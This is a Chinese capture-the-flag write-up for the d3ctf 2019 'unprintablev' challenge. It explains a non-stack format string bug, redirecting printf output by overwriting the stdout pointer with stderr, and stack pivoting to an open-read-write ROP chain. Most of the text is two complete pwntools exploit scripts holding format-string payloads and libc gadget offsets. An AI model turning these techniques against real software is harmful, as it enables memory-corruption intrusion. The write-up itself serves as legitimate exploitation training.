d3ctf_2019_unprintablev **

前言

考点: 非栈上的格式化字符串漏洞 + 栈迁移 + printf函数

程序为 64 位, 保护如下: 

d3ctf_2019_unprintablev **_第1张图片

默认读者对非栈上的格式化字符串漏洞的利用比较熟悉

漏洞分析

程序没有去符合, 而且非常简短, main 函数如下: main 函数依次调用以下三个函数

d3ctf_2019_unprintablev **_第2张图片

init 函数如下:

d3ctf_2019_unprintablev **_第3张图片

Sandbox_Loading 开了沙盒: 所以最后只能走 orw 拿 flag

d3ctf_2019_unprintablev **_第4张图片

主要的漏洞就在 menu 函数中:

d3ctf_2019_unprintablev **_第5张图片

a 指向 buf 缓冲区, 并把其的栈地址给了我们, 然后 close(1) 关闭了标准输出, 最后进入 vuln 函数:

d3ctf_2019_unprintablev **_第6张图片

给了 64 次格式化字符串漏洞利用的机会, 但是程序关闭了标准输出流, 所以这里无法利用格式化字符串漏洞进行数据泄漏, 但是还是可以任意写的(此任意非彼任意).

漏洞利用

数据泄漏

目前我们手上有格式化字符串漏洞, 但是标准输出被关了, 所以导致无法任意读. 这里我们回到 printf 源码:

__fortify_function int
printf (const char *__restrict __fmt, ...)
{
  return __printf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
}

int
attribute_hidden
__printf_chk (int flag, const char *fmt, ...)
{
  va_list arg;
  int done;

  va_start (arg, fmt);
  done = __nldbl___vfprintf_chk (stdout, flag, fmt, arg);
  va_end (arg);

  return done;
}

可以看到 printf 是根据 stdout 去找到的 _IO_2_1_stdout_, 其文件描述符就是1, 如果大家学了 IO_FILE 的利用的话, 应该很容易理解我在说什么. 那么如果我们将 stdout 修改为 _IO_2_1_stderr_ 就可以成功绕过了, 注意 stdout 与 stderr 其实都向终端进行输出.

那么如何进行修改呢? 还记得在 menu 函数中一开始就是 a = buf 吗? 其实这里就是给我们进行格式化字符串漏洞利用的.

d3ctf_2019_unprintablev **_第7张图片

可以看到 buf 与 stdout 只有低字节不同, 所以可以利用任意写去修改 buf 低字节使得 stdout 挂入栈中, 但是注意这里是 bss 上的格式化字符串漏洞, 所以得间接写, 我们可以发现如下链:

d3ctf_2019_unprintablev **_第8张图片

 所以我们可以利用此链将 buf 修改为 stdout:

d3ctf_2019_unprintablev **_第9张图片

然后可以看到 _IO_2_1_stderr_ 与 _IO_2_1_stdout_ 只有低两个字节不同:

但是这里比较悲催的是直接写两个字节的话 printf 由于输出太多好像没有进进去?所以就只能写后12位了, 1/16 的机会其实还是可以接受的.

修改成功后我们得先把 stdout 改会 buf, 因为调试发现后续会修改该位置指向的值, 然后就可进行 libc 等地址的泄漏了. 

ROP 链构造

泄漏了 libc 等地址后, 就可以写 rop 链了, 这里有个问题就是 rop 写在哪里呢? 当然你可以尝试往栈上写然后直接覆盖返回地址, 可是这里 orw 链还是比较长的, 直接往栈上写的话不是很方便(当然也可以写). 

这是这里将 orw 链写在 buf 上, 最后栈迁移过去就行了, 所以这里就只需要覆盖 main_rbp 和 main_ret 进行栈迁移就 ok 了, 而且 main_ret 最后是返回到 __libc_start_main 里面, 其是一个 libc 地址, 我们在 libc 中找 leave_ret 最后就只需要写低 3 字节 (当然这个不重要, 毕竟写 3 字节与写 6 字节没啥区别, 毕竟有 64 次利用机会)

这里选择如下跳板进行间接写: 这里只有低字节不同, 非常方便

d3ctf_2019_unprintablev **_第10张图片

exp 如下: 环境为 ubu20 - glibc-2.31

调试版:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True, timeout=2)
ruf    = lambda s    : io.recvuntil(s, drop=False, timeout=2)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

ddebug = True
#ddebug = False

if ddebug:
        gdb.attach(io, 'b *$rebase(0x0000000000000A14)')

rut(b'here is my gift: ')
stack = int(rl(), 16)
info("stack", stack)

pay = b'%' + str((stack&0xff)).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))

if ddebug:
        pause()
pay = b'%32c%10$hhn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))

print("[+] hijack stdout")
if ddebug:
        pause()
pay = b'%' + str(libc.sym._IO_2_1_stderr_&0xfff).encode() + b'c%9$hn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))

if ddebug:
        pause()
pay = b'%96c%10$hhn'
sl(pay.ljust(299, b'\x00'))

if ddebug:
        pause()
pay = b'%15$p\n'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
rut(b'0x')
libc_base = int(rl(), 16) - libc.sym.__libc_start_main - 243
libc.address = libc_base
info("libc_base", libc_base)

if ddebug:
        pause()
pay = b'%9$p\n'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
rut(b'0x')
buf_addr = int(rl(), 16)
info("buf_addr", buf_addr)

leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
flag_addr = buf_addr + 0xA0

main_rbp = stack + 0x28

print("hijack rbp")

for i in range(6):
        print("[+] count: ", i)
        if ((buf_addr >> (i*8))&0xff) == 0:
                continue

        if ddebug:
                pause()
        pay = b'%' + str((main_rbp+i)&0xff).encode() + b'c%6$hhn'
        sleep(0.2)
        sl(pay)

        if ddebug:
                pause()
        pay = b'%' + str((buf_addr>>(i*8))&0xff).encode() + b'c%10$hhn'
        sleep(0.2)
        sl(pay)

info("leave_ret", leave_ret)

for i in range(3):
        print("[+] count: ", i)
        if ((leave_ret >> (i*8))&0xff) == 0:
                continue

        if ddebug:
                pause()
        pay = b'%' + str(((main_rbp+0x8+i)&0xff)).encode() + b'c%6$hhn'
        sleep(0.2)
        sl(pay)

        if ddebug:
                pause()
        pay = b'%' + str(((leave_ret>>(i*8))&0xff)).encode() + b'c%10$hhn'
        sleep(0.2)
        sl(pay)

if ddebug:
        pause()
pay = b'%' + str(((main_rbp)&0xff)).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay)

orw  = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(libc.sym.open)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
orw += p64(pop_rdi) + p64(2) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
info("orw_len", len(orw))
if ddebug:
        pause()
pay = b'd^3CTF\n\x00' + orw + b'./flag\x00\x00'
info("pay_len", len(pay))

sleep(0.2)
sl(pay)

#debug()
sh()

利用版:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True, timeout=1)
ruf    = lambda s    : io.recvuntil(s, drop=False, timeout=1)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

def exp():
        rut(b'here is my gift: ')
        stack = int(rl(), 16)
        info("stack", stack)

        pay = b'%' + str((stack&0xff)).encode() + b'c%6$hhn'
        sleep(0.2)
        sl(pay.ljust(299, b'\x00'))

        pay = b'%32c%10$hhn'
        sleep(0.2)
        sl(pay.ljust(299, b'\x00'))

        print("[+] hijack stdout")
        pay = b'%' + str(libc.sym._IO_2_1_stderr_&0xfff).encode() + b'c%9$hn'
        sleep(0.2)
        sl(pay.ljust(299, b'\x00'))

        pay = b'%96c%10$hhn'
        sl(pay.ljust(299, b'\x00'))

        pay = b'%15$p\n'
        sleep(0.2)
        sl(pay.ljust(299, b'\x00'))
        rut(b'0x')
        libc_base = int(rl(), 16) - libc.sym.__libc_start_main - 243
        libc.address = libc_base
        info("libc_base", libc_base)

        pay = b'%9$p\n'
        sleep(0.2)
        sl(pay.ljust(299, b'\x00'))
        rut(b'0x')
        buf_addr = int(rl(), 16)
        info("buf_addr", buf_addr)

        leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
        pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
        pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
        pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
        flag_addr = buf_addr + 0xA0

        main_rbp = stack + 0x28

        print("[+] hijack rbp")
        for i in range(6):
                print("[+] count: ", i)
                if ((buf_addr >> (i*8))&0xff) == 0:
                        continue

                pay = b'%' + str((main_rbp+i)&0xff).encode() + b'c%6$hhn'
                sleep(0.2)
                sl(pay)

                pay = b'%' + str((buf_addr>>(i*8))&0xff).encode() + b'c%10$hhn'
                sleep(0.2)
                sl(pay)

        info("leave_ret", leave_ret)
        print("[+] hijack rip")
        for i in range(3):
                print("[+] count: ", i)
                if ((leave_ret >> (i*8))&0xff) == 0:
                        continue

                pay = b'%' + str(((main_rbp+0x8+i)&0xff)).encode() + b'c%6$hhn'
                sleep(0.2)
                sl(pay)

                pay = b'%' + str(((leave_ret>>(i*8))&0xff)).encode() + b'c%10$hhn'
                sleep(0.2)
                sl(pay)

        pay = b'%' + str(((main_rbp)&0xff)).encode() + b'c%6$hhn'
        sleep(0.2)
        sl(pay)

        orw  = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(libc.sym.open)
        orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
        orw += p64(pop_rdi) + p64(2) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
        info("orw_len", len(orw))


        pay = b'd^3CTF\n\x00' + orw + b'./flag\x00\x00'
        info("pay_len", len(pay))

        sleep(0.2)
        sl(pay)

        sh()

while True:
        try:
                io = process("./pwn")
                exp()
                break
        except Exception as e:
                io.kill()

效果如下:

d3ctf_2019_unprintablev **_第11张图片

你可能感兴趣的:(每日一“胖“,pwn,非栈上的格式化字符串漏洞)